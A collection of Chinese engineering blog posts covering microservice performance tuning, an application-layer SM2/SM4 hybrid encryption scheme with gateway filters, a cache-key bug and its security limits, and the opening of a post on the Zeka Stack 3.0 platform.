前置条件：梳理主链路与旁路链路，完成接口依赖图。
主要风险：异步改造后出现最终一致性延迟。
回滚策略：保留同步开关（配置中心动态切换），异常期快速回退同步模式。
验收指标：核心链路 P95 下降，错误率不升高。

数据库深度治理

优化点	实施动作
慢SQL根治	1. 建立SQL审核机制（禁止无索引查询） 2. 统计类SQL转定时任务（离线计算）
连接池调优	微服务连接池上限设为20（避免排队阻塞） MySQL最大连接数调至500（需内存配合）
InnoDB优化	`innodb_buffer_pool_size=20G`（内存65%） `innodb_log_file_size=1G`（减少刷盘）
锁冲突预防	事务拆解为<100ms小事务禁止`SELECT FOR UPDATE`全表锁

前置条件：完成慢 SQL 清单、索引影响评估、DDL 变更窗口审批。
主要风险：索引变更导致写放大与回归。
回滚策略：索引变更分批灰度，保留回退脚本与旧执行计划基线。
验收指标：慢 SQL 数量、锁等待总时长显著下降。

中间件优化

Seata调优

启用异步提交模式 + Kryo序列化
事务超时设梯度值（全局60s/分支30s）

seata:
  transport:
    compression: gzip
  thread:
    pool: 
      core-size: 20
      max-size: 50

连接池修正

移除Druid无效依赖，显式配置HikariCP
HTTP客户端统一为OkHttp（Feign+自定义连接池）

// OkHttp连接池最佳配置
new OkHttpClient.Builder()
  .connectionPool(new ConnectionPool(200, 5, TimeUnit.MINUTES)) // 200连接/5分钟存活
  .connectTimeout(10, TimeUnit.SECONDS)

缓存策略重构
- 按数据类型设分级过期时间（统计数据：1天 / 配置数据：永久）
- 增加随机抖动避免雪崩：expire = baseTime + random(0, 120)s

前置条件：明确缓存键规范与缓存一致性等级。
主要风险：缓存污染或击穿导致瞬时回源。
回滚策略：关键接口保留“强制回源”与“只读缓存”双开关。
验收指标：缓存命中率提升，回源峰值下降。

代码层改造

异步调用重构

修复@Async自调用问题（抽离AsyncWorker类）
定制业务线程池（避免SimpleAsyncTaskExecutor）

@Bean("smsExecutor") 
public Executor smsThreadPool() {
  return new ThreadPoolTaskExecutor() {{
    setCorePoolSize(8); // 按CPU核数×2设置
    setQueueCapacity(100);
    setThreadNamePrefix("sms-async-");
  }};
}

分布式锁升级

采用Redisson实现锁自动续期
锁粒度细化到员工ID+操作类型

RLock lock = redissonClient.getLock("lock:employee:"+employeeId+":UPDATE");
lock.tryLock(5, 30, TimeUnit.SECONDS); // 等待5s/持有30s

批量操作优化
- 短信批量发送改为单次MQ消息（在Consumer端循环）
- 模板数据预加载到本地缓存

前置条件：消息幂等策略与重试死信策略先落地。
主要风险：重复消费导致业务重复执行。
回滚策略：保留原批处理接口，按流量分批切换。
验收指标：批量操作耗时下降，重试失败率可控。

基础设施升级

日志组件替换
- Logback → Log4j2（吞吐量提升5倍+）
- 移除%L/%M等性能杀手

Web容器更换

Tomcat → Undertow（内存降30%+，吞吐量升50%+）

server:
  undertow:
    threads:
      io: 16      # CPU核数×2
      worker: 256 # 16×16

前置条件：完成线程模型与连接参数压测基线。
主要风险：容器替换引发兼容性问题（过滤器/连接管理）。
回滚策略：保留 Tomcat 构建分支与启动参数模板，支持一键切回。
验收指标：吞吐提升且错误率不升高，GC 与 CPU 使用更平稳。

读写一致性规则

建议把“哪些请求必须主库读取”写成白名单规则，避免上线后凭经验判断：

写后立即查（下单后详情、状态流转确认）→ 强制主库；
对账、统计、报表类读取 → 优先从库；
复制延迟超过阈值（如 2s）→ 自动降级主库；
事务内查询默认主库，避免读到旧数据；
所有强制主库路由记录审计日志，便于回溯。

SQL 治理落地清单

为了避免“只靠经验优化 SQL”，建议建立一套可自动检查的 SQL 治理清单：

上线前门禁
- 禁止无索引条件的高频查询进入生产；
- 禁止未分页列表查询（必须有 LIMIT）；
- 禁止隐式类型转换导致索引失效（如字符串列用数字比较）；
- 禁止在核心链路执行大范围 JOIN + UPDATE。
执行计划审查
- 核心 SQL 固化 EXPLAIN 基线（type/key/rows/extra）；
- 对比优化前后 rows 下降幅度，避免“看起来优化、实际没变”；
- 重点关注 Using filesort、Using temporary、ALL 扫描。
慢 SQL 运维机制
- 固定慢 SQL 阈值（如 500ms）并按接口归因；
- 每周做 TopN 慢 SQL 清理；
- 建立“SQL 责任人 + 截止时间 + 回归结果”台账。

缓存策略模板

建议把缓存按“数据波动频率”分层，而不是统一 TTL：

数据类型	建议 TTL	一致性策略	兜底策略
字典/配置类	12h~24h	变更后主动失效	本地缓存 + 远程缓存双层
统计汇总类	5min~1h	定时刷新	缓存失效时返回最近一次快照
会话状态类	15min~2h	续期机制	失效后引导重建
热点详情类	1min~10min	写后删缓存	互斥重建防击穿

同时建议固定三条工程规则：

TTL 加随机抖动，避免同刻雪崩；
空值也缓存短 TTL，避免穿透；
热点 Key 增加本地 L1 缓存，降低远程缓存压力。

线程池与连接池参数化方法

线程池不要只给一个数字，建议按任务类型拆分：

CPU 密集任务池
- core ≈ CPU 核数
- 队列小（防止排队拉长延迟）
IO 密集任务池
- core ≈ CPU 核数 * 2~4
- 队列中等，必须配拒绝策略
旁路任务池（日志/通知）
- 独立线程池，避免挤占主链路资源

连接池建议同步定义 4 个告警阈值：

活跃连接占比；
获取连接等待时长；
连接超时次数；
连接泄漏检测次数。

有了这 4 个指标，连接池问题能在“慢”之前被发现。

MQ 异步化的最小安全模型

把同步调用改 MQ 时，至少补齐这 5 个细节：

消息唯一键（业务主键 + 操作类型）；
消费端幂等（去重表/幂等键）；
重试上限与退避策略；
死信队列和人工补偿流程；
业务监控（堆积、失败率、处理时延）。

否则“异步化”会从性能优化变成数据一致性风险。

变更上线与回滚模板

建议每一类优化按同一发布节奏执行：

小流量灰度（5%）；
观察 30~60 分钟核心指标；
分批放量到 30% / 60% / 100%；
任一阶段触发阈值立即回滚；
回滚后保留现场数据并做复盘。

回滚触发阈值可统一为：

错误率连续 5 分钟超过基线 2 倍；
P95 连续 10 分钟超过基线 50%；
DB 锁等待明显上升且持续不回落。

关键收益预测

优化项	预期提升	实施周期
数据库拆分	主库QPS提升3倍+，CPU峰值下降60%	2周
统计服务异步化	复杂查询响应从>5s降至<200ms	1周
连接池/线程池修正	并发承载能力从100→500+	3天
日志/容器优化	单机吞吐量提升40%，GC次数减少70%	1周

实施原则：先解决数据库单点瓶颈和同步阻塞问题（P0），再治理中间件配置（P1），最后优化代码细节（P2）。建议每阶段优化后通过JMeter压测验证，重点监控MySQL锁等待、GC停顿、线程池队列堆积等指标。

测量口径说明：以上收益需基于同一压测脚本、同一数据规模、同一时间窗口（建议 30 分钟稳态区间）对比得出。若第三方依赖波动较大，应单独标记并剔除干扰样本。

思考

在整体项目架构和实施过程中，我个人的直观感受是：项目存在一定程度的“为技术而技术”的倾向，而非以业务驱动为核心进行设计和演进。尤其在架构层面，采用了微服务架构，但从项目规模、团队资源以及实际业务场景来看，并没有充分论证微服务是否真正适合当前的业务形态。

项目在架构初期就引入了较为复杂的微服务体系，但并未体现出“服务解耦带来更高开发效率或更强业务灵活性”的预期价值。反而由于技术选型偏重，导致技术栈繁杂、各类基础组件（如服务注册中心、配置中心、链路追踪、中间件、容器化部署等）增多，而这些服务本身又需要额外维护，进一步拉高了项目的开发、部署和运维成本。

此外，团队规模偏小，但却承担了较大范围的系统职责。在这种人力资源与系统复杂度不匹配的背景下，不仅导致团队成员工作压力大，也使得系统维护、故障排查、版本迭代的成本不断攀升，效率低下，风险上升。

总的来说，项目在架构设计上的出发点更偏向于技术理想主义，而缺乏对“业务价值与技术复杂度之间的平衡”的把控，导致最终系统的整体性价比较低。更适合的方式可能是以业务目标为导向，从实际场景出发，稳步演进架构，而不是一次性引入过多高门槛技术方案。

从项目整体来看，似乎缺乏一套完善的技术决策机制。比如在关键技术选型和架构演进上，如果能建立“技术小组评审机制”，让每项技术引入和架构变更都经过充分论证与团队讨论，评估其对业务价值、团队能力、运维复杂度等多维度的影响，再形成决策并推进实施，可能能有效避免“为了技术而技术”的问题，提升技术落地的合理性与可控性。

另一方面，我的一个直接体会是：虽然团队整体对各种中间件、组件和框架“会用”，但仍存在“用得不精”的问题。这在中间件的调优层面表现得尤为明显。

这些问题表面看似是系统性能问题，本质上则反映出对技术的理解还停留在“能跑起来”的层面，而非“用得高效、用得合理”的层面。中间件的调优、架构的弹性设计，本应服务于业务的稳定性与增长速度，但现实中反而成了系统瓶颈甚至事故诱因。

因此，构建“评审机制”只是第一步，更关键的是在团队内部形成技术沉淀与知识共享的闭环，持续提升团队对技术的掌控力，而不是一味堆叠新技术、扩展新组件。

全链路加解密：在 HTTPS 之外再套一层

Tue, 05 May 2026 00:00:00 GMT

从零开始：怎么实现一套应用层加解密

在讲实际项目之前，先把问题简化：假设你有一个前后端分离的 Web 应用，已经部署了 HTTPS，但现在要求在应用层再做一层加密。你会怎么设计？

为什么是混合加密

先想一个问题：能不能全用对称加密（比如 AES）？

可以。前端和后端约定一个固定的 AES 密钥，请求和响应都用它加解密。但问题是——密钥写在前端代码里，浏览器 Sources 面板一搜就有。密钥泄露后，所有人都能解密所有流量。而且这个密钥没法换——一换，所有前端代码都要重新构建部署。

那全用非对称加密（比如 RSA、SM2）呢？

也可以。前端用公钥加密数据，后端用私钥解密。公钥泄露无所谓，没有私钥解不开。但问题是——非对称加密很慢。RSA-2048 加密 1KB 数据的时间能做几百次 AES 加密，而且非对称加密对数据长度有限制（RSA-2048 最多加密 245 字节）。你要加密一个 JSON 请求体，可能几 KB 甚至几十 KB，根本塞不进非对称加密的明文长度上限。

所以业界标准做法是混合加密——用非对称加密保护对称密钥，用对称密钥加密业务数据：

sequenceDiagram
    participant Browser as 浏览器
    participant Server as 服务端

    Note over Browser: 1. 生成随机对称密钥 K
    Browser->>Browser: K = generateRandomKey(128bit)

    Note over Browser: 2. 用公钥加密 K
    Browser->>Browser: EncryptedK = SM2_Encrypt(K, PublicKey)

    Note over Browser: 3. 用 K 加密请求数据
    Browser->>Browser: EncryptedBody = SM4_Encrypt(requestBody, K)

    Note over Browser: 4. 发送：加密的密钥放在请求头，加密的数据放在请求体
    Browser->>Server: POST /api/xxx<br/>Header: X-Encrypted-Key = EncryptedK<br/>Body: { "encryptedPayload": EncryptedBody }

    Note over Server: 5. 用私钥解密出 K
    Server->>Server: K = SM2_Decrypt(EncryptedK, PrivateKey)

    Note over Server: 6. 用 K 解密请求体
    Server->>Server: plainBody = SM4_Decrypt(EncryptedBody, K)

    Note over Server: 7. 处理业务，用同一个 K 加密响应
    Server->>Server: EncryptedResponse = SM4_Encrypt(responseBody, K)

    Server->>Browser: Response: EncryptedResponse

    Note over Browser: 8. 用 K 解密响应
    Browser->>Browser: plainResponse = SM4_Decrypt(EncryptedResponse, K)

这个流程的精妙之处在于：对称密钥 K 是前端每次会话随机生成的，不写死在代码里，不持久化到 localStorage。公钥写在前端没关系——公钥本来就是公开的，没有私钥解不开 EncryptedK。而私钥只存在于后端配置中，前端永远拿不到。

最简实现

按照这个思路，一个最简的前端实现大概长这样：

// 1. 生成 128 位随机对称密钥
function generateKey() {
  const bytes = new Uint8Array(16);
  crypto.getRandomValues(bytes);
  return Array.from(bytes).map(b => b.toString(16).padStart(2, '0')).join('');
}

// 2. 请求加密
function encryptRequest(config) {
  const sm4Key = sessionStorage.getItem('sm4key') || generateKey();
  sessionStorage.setItem('sm4key', sm4Key);

  // SM2 公钥加密对称密钥，放进请求头
  config.headers['X-Encrypted-Key'] = sm2Encrypt(sm4Key, PUBLIC_KEY);

  // SM4 加密请求体
  if (config.data) {
    config.data = { encryptedPayload: sm4Encrypt(JSON.stringify(config.data), sm4Key) };
  }
  return config;
}

// 3. 响应解密
function decryptResponse(response) {
  const sm4Key = sessionStorage.getItem('sm4key');
  if (response.data) {
    response.data = JSON.parse(sm4Decrypt(response.data, sm4Key));
  }
  return response;
}

后端对应的处理也不复杂——从 X-Encrypted-Key 头取出加密的对称密钥，SM2 解密得到 K，再用 K 去 SM4 解密 encryptedPayload 字段。在网关层做这件事，后续的 Controller 拿到的就是明文，完全无感知。

但这个”最简实现”有几个明显的问题。密钥存在 sessionStorage 里，关了浏览器就没了——这意味着每次打开页面都要重新生成。而对称密钥一变，后端不认识新密钥，就解不开请求。所以后端必须每次从 X-Encrypted-Key 头里重新解密出对称密钥，每次请求都要做一次 SM2 非对称解密——这就带来了性能问题。

要解决这个问题，就需要密钥缓存——后端解密一次后，把这个对称密钥存起来，下次同一个用户再来请求时直接用。这就引出了我们实际项目中的完整实现。

实际项目中的实现

技术选型：为什么是 SM2/SM4

这个项目是政企方向的，客户明确要求使用国密算法。所以技术选型上没有纠结——SM2 做非对称加密（等效 RSA-2048，256 位），SM4 做对称加密（等效 AES-128，128 位）。前端国密库用的是 sm-crypto，随机数生成用 crypto-js。

另外还有两个小场景用了 AES：

验证码坐标加密——因为验证码组件是第三方的（AJ-Captcha），内部约定就是 AES
配置回退——当 algorithm-type 不是 SM4 时，降级到 AES-ECB

前端：密钥生成与请求拦截器

前端核心代码在 encrypt.js 中。完整流程分三部分：密钥生成、请求加密、响应解密。

密钥生成。 每次会话开始时，前端生成一个 128 位的随机十六进制字符串作为 SM4 对称密钥：

export const generateKey = (bitLength = 128) => {
  const randomWordArray = CryptoJS.lib.WordArray.random(bitLength / 8);
  const key = CryptoJS.enc.Hex.stringify(randomWordArray);
  useUserStore().pk = key;  // 存到 Pinia store，仅内存中，不持久化
  return key;
};

两个关键设计决策：

存在 Pinia store 而非 localStorage——页面刷新后密钥消失，会话结束。即使攻击者通过 XSS 读到了当前内存中的密钥，也只能解密当前会话的数据
用 CryptoJS 的 WordArray.random 而非 Math.random——前者使用密码学安全的随机数生成器，后者是伪随机，可以被预测

请求加密。 在 Axios 请求拦截器中，每个请求被发出前都要经过 requestEncrypt 处理：

export const requestEncrypt = (req) => {
  if (req.skipEncrypt) return req;  // 文件上传/下载等场景跳过

  const pk = useUserStore().pk || generateKey();

  // SM2 公钥加密对称密钥，04 前缀是国密标准非压缩格式标识
  req.headers["X-Encrypted-Key"] = `04${smCrypto.sm2.doEncrypt(pk, import.meta.env.VITE_ENCRYPT_PUBLIC_KEY)}`;

  // GET 请求：URL 参数序列化后加密，放入 encryptedPayload
  if (req.params) {
    const str = Object.keys(req.params)
      .map((key) => `${key}=${window.encodeURIComponent(...)}`);
    req.params = { encryptedPayload: encryptSm4(str.join("&")) };
  }

  // POST 请求：body 直接加密，放入 encryptedPayload
  if (req.data) {
    req.data = { encryptedPayload: encryptSm4(req.data) };
  }
  return req;
};

这里有几个值得注意的细节：

04 前缀——这是国密 SM2 非压缩公钥格式的标准前缀，表示椭圆曲线上的点使用非压缩表示（04 || x || y）。加密结果以 04 开头，后端解析时需要知道这个格式
VITE_ENCRYPT_PUBLIC_KEY 是环境变量——编译时会被 Vite 替换为实际的 SM2 公钥字符串。这意味着公钥写死在前端构建产物中，任何人都能在浏览器 Sources 面板搜到
encryptedPayload 是统一的密文容器——不管是 URL 参数还是 JSON body，加密后都塞进这个字段。后端看到 encryptedPayload 就知道这是加密数据

响应解密。 在 Axios 响应拦截器中：

export const responseDecrypt = (response) => {
  if (response.config.skipEncrypt) return response;
  if (response.status === 200) {
    response.data = response.data ? JSON.parse(decryptSm4(response.data)) : response.data;
  } else {
    response.response.data = response.response.data
      ? JSON.parse(decryptSm4(response.response.data))
      : response.response.data;
  }
  return response;
};

处理了两种情况：正常响应（200）的 data 在 response.data，错误响应的 data 在 response.response.data（Axios 错误拦截器的结构不同）。

开关控制。 加解密不是一直开的——通过环境变量 VITE_ENCRYPT_ENABLED 控制，请求配置中的 skipEncrypt: true 也能跳过单个请求：

const isEncrypt = import.meta.env.VITE_ENCRYPT_ENABLED === "true";

request.interceptors.request.use((config) => {
  // ... 添加 Token、Tenant-Id 等
  return isEncrypt ? requestEncrypt(config) : config;
});

request.interceptors.response.use(
  (response) => isEncrypt ? responseDecrypt(response) : response,
  (err) => { err = isEncrypt ? responseDecrypt(err) : err; /* ... */ }
);

后端：网关 Filter 链

后端加解密在网关层完成，以 Spring Cloud Gateway 的 GlobalFilter 形式实现。整个处理链如下：

graph TB
    subgraph Gateway["Spring Cloud Gateway"]
        direction TB

        Client["客户端请求"] --> DecryptFilter["RequestDecryptFilter<br/>Order: HIGHEST_PRECEDENCE"]

        DecryptFilter --> CheckWhitelist{"路径在白名单?"}
        CheckWhitelist -->|是| SkipDecrypt["跳过加解密"]
        CheckWhitelist -->|否| ExtractKey["从 X-Encrypted-Key 头<br/>提取加密的对称密钥"]

        ExtractKey --> ResolveKey["EncryptServiceImpl<br/>SM2 解密得到 SM4 密钥"]
        ResolveKey --> DecryptParams["解密 URL 参数<br/>encryptedPayload → 明文参数"]
        DecryptParams --> DecryptBody["解密请求体<br/>encryptedPayload → 明文 JSON"]

        DecryptBody --> Route["路由到下游服务"]
        SkipDecrypt --> Route

        Route --> Controller["业务 Controller<br/>（拿到的是明文）"]
        Controller --> EncryptFilter["ResponseEncryptFilter<br/>Order: WRITE_RESPONSE - 1"]

        EncryptFilter --> CheckWhitelist2{"路径在白名单?"}
        CheckWhitelist2 -->|是| SkipEncrypt["原样返回"]
        CheckWhitelist2 -->|否| EncryptResp["SM4 加密响应体"]

        EncryptResp --> Return["返回密文给客户端"]
        SkipEncrypt --> Return
    end

    style DecryptFilter fill:#4A90D9,color:#fff
    style EncryptFilter fill:#4A90D9,color:#fff
    style ResolveKey fill:#E8A838,color:#fff
    style Controller fill:#5CB85C,color:#fff

请求解密（RequestDecryptFilter）。 优先级设为 Ordered.HIGHEST_PRECEDENCE，确保在其他 Filter 之前执行——因为后续 Filter 和 Controller 都依赖解密后的明文。

核心流程：

检查请求路径是否在白名单中（白名单内的路径直接放行）
检查 Content-Type 是否为 application/json 或 application/x-www-form-urlencoded（不是这两者的跳过，比如文件上传的 multipart）
从 X-Encrypted-Key 请求头取出加密后的对称密钥，SM2 解密得到真正的 SM4 密钥
从 encryptedPayload 参数/字段取出密文，SM4 解密
用 DecryptedExchangeDecorator 包装请求，后续链路读取到的就是明文

响应加密（ResponseEncryptFilter）。 优先级设为 NettyWriteResponseFilter.WRITE_RESPONSE_FILTER_ORDER - 1，在响应写出之前最后一环拦截：

同样检查白名单
用 EncryptedResponseDecorator 包装响应，捕获原始响应字节
根据响应 Content-Type 判断是否加密
用请求阶段解出的 SM4 密钥加密响应体
将密文写回客户端

EncryptServiceImpl——加解密的核心。 这是密钥解析和加解密操作的中心：

// 对称加密 —— 根据配置选择 SM4 或 AES
public String encrypt(String rawText, String symmetricKey) {
    if (AlgorithmType.SM4.getCode().equals(algorithmType)) {
        return SMUtil.SM4Encrypt(rawText, symmetricKey, codeType);
    }
    return AesUtil.encryptECB(rawText, symmetricKey, codeType);
}

// 对称解密
public String decrypt(String cipherText, String symmetricKey) {
    if (AlgorithmType.SM4.getCode().equals(algorithmType)) {
        return SMUtil.SM4Decrypt(cipherText, symmetricKey);
    }
    return AesUtil.decryptECB(cipherText, symmetricKey);
}

// 从请求中解析对称密钥 —— 核心逻辑
public String resolveSymmetricKey(ServerWebExchange exchange) {
    // 1. 读取 X-Encrypted-Key 请求头
    String encryptedKeyHeader = exchange.getRequest().getHeaders()
        .getFirst("X-Encrypted-Key");

    // 2. 尝试从缓存中获取（用 token 做 key）
    String token = tokenExtractor.extractToken(exchange);
    String cachedKey = loadCachedKey(token, encryptedKeyHeader);
    if (cachedKey != null) return cachedKey;

    // 3. 缓存未命中，SM2 解密 X-Encrypted-Key
    String symmetricKey = SMUtil.SM2Decrypt(encryptedKeyHeader, privateKey);

    // 4. 写入缓存（1 小时）
    CacheUtil.setObject("encrypt:header:" + token, encryptedKeyHeader, 3600000);
    CacheUtil.setObject("encrypt:key:" + token, symmetricKey, 3600000);
    return symmetricKey;
}

// SM2 解密 —— 最终调用
private String decryptSymmetricKey(String encryptedKeyHeader) {
    return SMUtil.SM2Decrypt(encryptedKeyHeader, keyProperties.getPrivateKey());
}

配置结构

encrypt:
  request:
    enable: true              # 总开关
    algorithm-type: SM4       # SM4 或 AES
    encrypt-code: base64      # 密文编码：hex 或 base64
    fallback-key: ""          # 回退密钥（无 X-Encrypted-Key 时使用）
    whites:                   # 白名单路径，跳过加解密
      - /auth/oauth2/token
      - /api/captcha
      - /api/attachment/**

  sm2:
    public-key: ""            # SM2 公钥（前端持有，用于加密）
    private-key: ""           # SM2 私钥（仅后端持有，用于解密）

algorithm-type 支持 SM4 和 AES 切换——SM4 是国密标准，AES 是国际标准。encrypt-code 控制密文的编码格式（hex 或 base64）。白名单里的路径整个加解密流程都不走——文件上传下载、图片查看、验证码获取等接口必须加进去，否则二进制数据会被当作文本加密，直接损坏。

登录密码的特殊处理

登录接口的加密方式和普通接口不同。普通接口的加密密钥是前端生成的，但登录时前端还没有 token，也没有和”后端建立会话”。所以登录密码使用 RSA 非对称加密，由独立的 PasswordDecryptFilter 处理，优先级高于全链路加解密 Filter。

流程是：

前端使用 RSA 公钥加密密码
请求到达网关，PasswordDecryptFilter 拦截（路径匹配 OAuth2 token 地址）
用 RSA 私钥解密 body
解密成功则将明文密码交给后续的认证流程

sequenceDiagram
    participant Browser as 浏览器
    participant Gateway as 网关
    participant Auth as 认证服务

    Note over Browser: 输入用户名密码
    Browser->>Browser: RSA 公钥加密密码
    Browser->>Gateway: POST /auth/oauth2/token<br/>Authorization: Basic xxx<br/>Body: RSA_Encrypted(password)

    Gateway->>Gateway: PasswordDecryptFilter 拦截
    Gateway->>Gateway: RSA 私钥解密 → 明文密码
    Gateway->>Auth: 转发认证请求（明文）
    Auth->>Gateway: access_token + refresh_token
    Gateway->>Browser: Token 响应

    Note over Browser: 存储 token，后续请求走全链路加密

特殊请求的跳过策略

不是所有请求都需要加密。以下场景通过 skipEncrypt: true 或白名单跳过：

场景	原因
文件上传 (`multipart/form-data`)	二进制数据加密会损坏文件
文件下载 (`responseType: blob`)	响应是二进制流，不是文本
图片/附件查看	同上
验证码获取	验证码组件内部有独立的 AES 加密
登录接口	有独立的 RSA 加密处理

密钥缓存：设计对了，实现错了

设计意图

按设计，同一个用户会话中前端不会换对称密钥（存在 Pinia store 中，页面刷新前一直有效）。所以后端的理想行为是：每个会话只做一次 SM2 解密，后续请求直接从缓存中拿对称密钥。

缓存设计是这样的：

sequenceDiagram
    participant F as 前端
    participant G as 网关
    participant R as Redis

    Note over F: 首次请求：生成 SM4 密钥 K1
    F->>G: X-Encrypted-Key: SM2_Encrypt(K1)<br/>Authorization: Bearer <token>

    G->>G: 提取 token = "xxx"
    G->>R: GET encrypt:key:xxx
    R->>G: null（缓存未命中）

    G->>G: SM2_Decrypt(X-Encrypted-Key) → K1
    G->>R: SET encrypt:key:xxx = K1 (1h)
    G->>G: 用 K1 解密请求 ✓

    Note over F: 第二次请求：密钥仍是 K1
    F->>G: X-Encrypted-Key: SM2_Encrypt(K1)（相同）<br/>Authorization: Bearer <token>

    G->>G: 提取 token = "xxx"
    G->>R: GET encrypt:key:xxx, GET encrypt:header:xxx
    R->>G: K1 + 上次的 X-Encrypted-Key

    G->>G: header 相同 → 缓存命中！直接用 K1 ✓

设计逻辑是合理的——用 token 作为缓存的维度，同用户同会话的 X-Encrypted-Key 不变，缓存就能命中。

实际 bug

但实现上有一个隐蔽的问题。看 TokenExtractor 的代码：

// TokenExtractor —— 从 Authorization 头提取 token
public String extractToken(ServerWebExchange exchange) {
    String authorization = httpHeaders.getFirst(HttpHeaders.AUTHORIZATION);
    // ...
    // 必须以 Bearer 开头
    if (!StringUtils.startsWithIgnoreCase(authorization, "Bearer")) {
        return serverHttpRequest.getQueryParams().getFirst("access_token");
    }
    // 正则匹配提取 token
    Matcher matcher = AUTHORIZATION_PATTERN.matcher(authorization);
    // ...
    return matcher.group("token");
}

关键在那一行 startsWithIgnoreCase(authorization, "Bearer")——它只认 Bearer 前缀。

而登录接口的 Authorization 头是这样的：

// 登录请求
headers: { Authorization: "Basic base64EncodedClientCredentials==" }

登录成功后，后续请求确实会用 Bearer <access_token>，TokenExtractor 也就能正常提取 token。但问题出在登录请求本身也启用了加密的情况下——前端为登录请求生成了 SM4 密钥、SM2 加密后放入 X-Encrypted-Key，但后端从 Basic 认证头中提取不到 token，loadCachedKey(null, encryptedKeyHeader) 永远返回 null。

结果就是：

缓存永远不命中（token 为 null 时直接跳过缓存查询）
每个请求都做一次 SM2 非对称解密（CPU 开销比缓存命中高几个数量级）
每次都写缓存，key 里带 null——Redis 里攒了一堆 encrypt:key:null 的脏数据

这个 bug 的修复也不复杂——要么让 TokenExtractor 兼容 Basic 和 Bearer 两种格式，要么根据实际情况用其他维度（如 sessionId、客户端 IP + UserAgent 哈希）做缓存 key。

为什么有了 HTTPS 还要加一层

上面花了大量篇幅讲”怎么实现”。但回到一个更根本的问题：HTTPS 已经提供了传输层加密，为什么还要在应用层再做一套？

这个问题要从三个维度来看。

一、技术维度：TLS 卸载带来的内网明文问题

很多企业网络架构中有这样一个环节——SSL 卸载（TLS Termination）：

graph LR
    Browser["浏览器"] -->|"HTTPS (TLS 加密)"| LB["负载均衡 / 网关<br/>(SSL 卸载)"]
    LB -->|"HTTP (明文)"| Service1["内网服务 A"]
    LB -->|"HTTP (明文)"| Service2["内网服务 B"]
    LB -->|"HTTP (明文)"| Service3["内网服务 C"]

    style LB fill:#E8A838,color:#fff
    style Browser fill:#4A90D9,color:#fff

外部流量到网关这一跳是 HTTPS 加密的，但网关到内部服务是明文的 HTTP。这么做的原因很现实——内网服务数量多，如果每个服务都配 TLS 证书，证书管理和性能开销都不小。而内网被认为是”安全的”，所以网关解密后直接明文转发。

但”内网安全”这个假设在攻防演练中经常被打脸。内网的抓包工具、日志采集 agent、网络监控设备，理论上都能看到明文数据。如果一个内网机器被拿下，攻击者就可以在内网监听所有明文流量。

在应用层再做一层加密，即使内网流量被监听，攻击者拿到的也是 encryptedPayload 密文。

二、合规维度：审计要的不是”安全”，是”加密”这个动作

这是最现实的原因。政企项目的安全审计中，“数据传输加密”往往是一个硬性条款。审计人员不一定理解 TLS 的工作原理，但他们认”你们做了加密”这个事实。

说白了，安全审计要的不是技术上的”安全”，而是合规上的”已加密”这个状态。 你可以跟他们解释 HTTPS 已经加了密，但他们需要看到的是——应用系统层面有加密机制、有密钥管理、有算法选型。TLS 是基础设施层面的，不在应用系统审计的范围内。

这就跟”为什么有了防火墙还要在代码里做输入校验”一个道理——分层防护，各管各的。

三、安全边界：这层加密到底能防什么

诚实地说，这套方案的防护边界很窄。

它能防的：

内网被动窃听。 TLS 卸载后的内网明文传输、日志系统意外采集的请求体、网络监控工具的流量抓包——这些场景下，攻击者拿到的是密文
合规审计。 如前所述，这是它存在的主要意义
日志脱敏的被动保护。 网关 access log 如果不小心记录了请求体，记录的是 encryptedPayload 密文而不是明文手机号/身份证号，算是多一层兜底

它不能防的：

前端伪造。 SM2 公钥写在前端代码里，加密逻辑完全公开。攻击者可以用相同的逻辑构造任意请求——公钥加密一个新的 SM4 密钥，SM4 加密伪造的请求体，后端照单全收
中间人劫持。 如果 TLS 被攻破，攻击者可以篡改前端 JS、替换公钥、注入恶意代码。应用层加密依赖前端的完整性，前端的完整性又依赖 TLS——这是一个循环依赖。TLS 一旦破了，整条链都断了
重放攻击。 加密后的请求可以被原样重放。没有时间戳校验、没有 nonce、没有签名，同一个加密请求可以被无限重放

总结下来：这套方案防护的是”被动窃听”，对”主动攻击”基本无效。 它的安全模型建立在 TLS 正常工作、只是在内网段多一层防护的前提上。

改进方向

如果要让这套方案在合规之外提供真正的安全增量，有几个方向值得考虑：

1. 签名优于加密。 在加密的基础上加一层签名机制——前端用 SM2 私钥（或 HMAC）对 timestamp + nonce + body_hash 做签名，后端验证。这能防御伪造和重放，因为攻击者没有签名密钥，无法生成有效签名。

2. 密钥通过 CI/CD 注入而非写死。 当前 SM2 公钥在前端环境变量中，编译后就是字符串常量。如果改成构建时通过 CI/CD 注入，每天定时构建一次自动轮换密钥，前端代码中的公钥只有 24 小时有效窗口——攻击者即使找到公钥，第二天也失效了。

3. 蜜罐检测。 在前端添加一两个”无关紧要”的请求头，正常用户永远不会携带。如果后端监控到有请求携带了这些蜜罐请求头的异常值，说明有人在用脚本分析协议、构造请求——触发告警，拉黑 IP。

4. 修缓存。 把 TokenExtractor 的提取逻辑修好，让 SM2 解密只在会话初次请求时执行一次。

5. 区分场景。 核心敏感接口（登录、支付、个人信息查询）走完整加解密+签名，普通列表查询可以只用签名不做加密，文件上传下载跳过所有处理。安全是有成本的，把成本花在刀刃上。

写在最后

应用层全链路加密是一个典型的”技术 vs 合规”交叉案例。从纯技术角度看，HTTPS + 请求签名可以解决绝大部分安全问题；从合规审计角度看，“你们做了加密”本身就是一个交付物。

两者并不矛盾。承认合规的现实必要性，然后在合规的框架内把方案做得更务实——签名校验防伪造、密钥轮换降风险、蜜罐监控做预警——这些增量改进不会显著增加复杂度，但能让安全水位实打实地提升。

安全不是一劳永逸的事。明天换个密钥，比相信”没人能找到我的公钥”靠谱得多。

Zeka Stack 3.0：AI Native 工程平台定位升级

Mon, 04 May 2026 00:00:00 GMT

背景：脚手架的价值边界变了

最近我一直在想一个问题：当 AI 已经可以稳定生成 Controller、Service、DTO、Mapper、测试、文档和脚本时，一套 Spring Boot 脚手架还剩下什么价值？

如果脚手架的价值只剩“少写几行样板代码”，那它确实会越来越弱。过去开发者需要模板、生成器和 Starter 来节省重复劳动，现在这些工作大模型几分钟就能完成，而且还能顺手补一份 README 和测试样例。

但这个判断只说对了一半。

AI 让“写代码”变便宜了，却让“约束代码”变重要了。代码生成速度越快，架构边界、模块职责、异常语义、接口契约、配置规范、日志标准、测试策略、发布纪律这些东西就越关键。没有这些约束，AI 不是提高工程质量，而是更快地放大混乱。

这也是我现在重新看 Zeka Stack 3.0 的核心出发点：它不应该是一次普通升级，也不应该只是给框架加几个 AI 功能，而应该是一次定位变化。

